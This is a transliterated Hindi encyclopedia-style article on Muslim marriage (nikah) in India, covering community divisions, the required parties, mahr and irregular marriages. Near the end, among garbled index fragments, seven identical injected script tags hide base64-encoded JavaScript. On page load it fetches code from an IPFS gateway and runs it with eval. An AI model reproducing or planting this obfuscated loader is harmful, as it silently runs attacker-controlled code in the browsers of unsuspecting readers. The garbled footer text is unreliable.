मुस्लिम विवाह

muslim vivah ko 'nikah' kaha jata hai. avadharana ke star par muslim vivah ek samajik samajhauta ya nagarik samajhauta hai. paranntu vyavaharik star par bharat mean muslim vivah bhi dharmik hai. bharatiy musalamanoan mean any samudayoan ki tulana mean talak ki dar adhik hai. pati-patni ke bich vaivahik sanbandh ki tulanatmak sthirata bharatiy sanskriti ki sajhi virasat hai. bharat mean muslim vivah arab duniya tatha any sthanoan ki tulana mean jyada sthayi paya gaya hai.

bharat mean muslim samuday do pramukh sampradayoan- shiya evan sunni mean vibhajit hai. mote taur par ve log tin samoohoan mean vibhajit hai.

asharaph (saiyad, shekh, pathan, ityadi)
ajalab (momin, mansoor, ibrahim, ityadi)
arajal (halalakhor, ityadi)

ye sabhi samooh aantarvivahi mane jate hai tatha inake bich bahirvivah ko protsahan nahian diya jata. karmakand ki drishti se vibhinn sampradayoan tatha samoohoan mean aantar paya jata hai. parantu har muslim vivah (nikah) ki paribhashik visheshataean ek saman hoti haian.^[1]

vivah mean bhagidar

muslim parsanal l aau ke anusar muslim vivah mean char bhagidaroan ka hona avashyak hai :-

doolha
dulhan
kaji
gavah (do purush ya char stri gavah) jo samajik dharmik qanooni samajhauta (nikah) ke sakshi hote haian.

doolha tatha dulhan ko qaziaupacharik roop se (ekatrit sthaniy samuday tatha chune hue gavahoan ke samane) poochhata hai ki ve is vivah ke lie svechchha se raji hai ya nahian. yadi ve is vivah ke lie 'svechchha' se raji hone ki aupacharik ghoshana karate haian to nikahanama par samajhaute ki prakriya poori ki jati hai. is nikahaname mean mahar (ya mehar) ki rakam shamil hoti hai jise vivah ke samay ya bad mean doolha-dulhan ko deta hai. mahar ek prakar ka stri-dhan hai. bharat mean vivah ki rasm hinduoan tatha musalamanoan donoan samudayoan mean dulhan ke ghar par hi karane ki pratha hai. ek kshetr ke hinduoan tatha musalamanoan mean kee prathayean saman roop se mani jati haian. udaharan ke lie keral ke mopala musalamanoan mean 'kalyanam' namak hindoo karmakand paranparik nikah ka avashyak aang mana jata hai. chachere bhaee bahanoan ka vivah musalamanoan mean pasandida vivah mana jata hai. punarvivah muslim samuday mean nishiddh nahian hai. musalamanoan mean do prakar ke vivah ki avadharana hai. 'sahi' ya niyamit tatha 'phasid' ya aniyamit. aniyamit vivah nimnalikhit sthitiyoan mean ho sakata hai :

yadi prastav karate samay ya svikriti ke samay gavah anupasthit ho,
ek purush ka paanchavaan vivah
ek stri ka 'iddat' ki avadh mean kiya gaya vivah.
pati aur patni ke dharm mean aantar hone par.^[1]

panne ki pragati avastha

adhar

prarambhik

madhyamik

poornata

shodh

tika tippani aur sandarbh

↑ ^1.0 ^1.1 sharma, d aau. amit kumar. bharat mean muslim vivah (hiandi) (ech.ti.em.el) braand bihar d aaut k aaum. abhigaman tithi: 9 aprॅl, 2013.

bahari k diyaan

muslim vivah ek sanvida (kantrekt) nahian

sanbandhit lekh

varnamala kramanusar lekh khoj

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<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> tr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> jn <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> rri <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> aau <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script> shr <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>aah

[.E0.A4.AC.E0.A5.8D.E0.A4.B0.E0.A4.BE.E0.A4.82.E0.A4.A1_.E0.A4.AC.E0.A4.BF.E0.A4.B9.E0.A4.BE.E0.A4.B0-1] 1.0 ^1.1 sharma, d aau. amit kumar. bharat mean muslim vivah (hiandi) (ech.ti.em.el) braand bihar d aaut k aaum. abhigaman tithi: 9 aprॅl, 2013.

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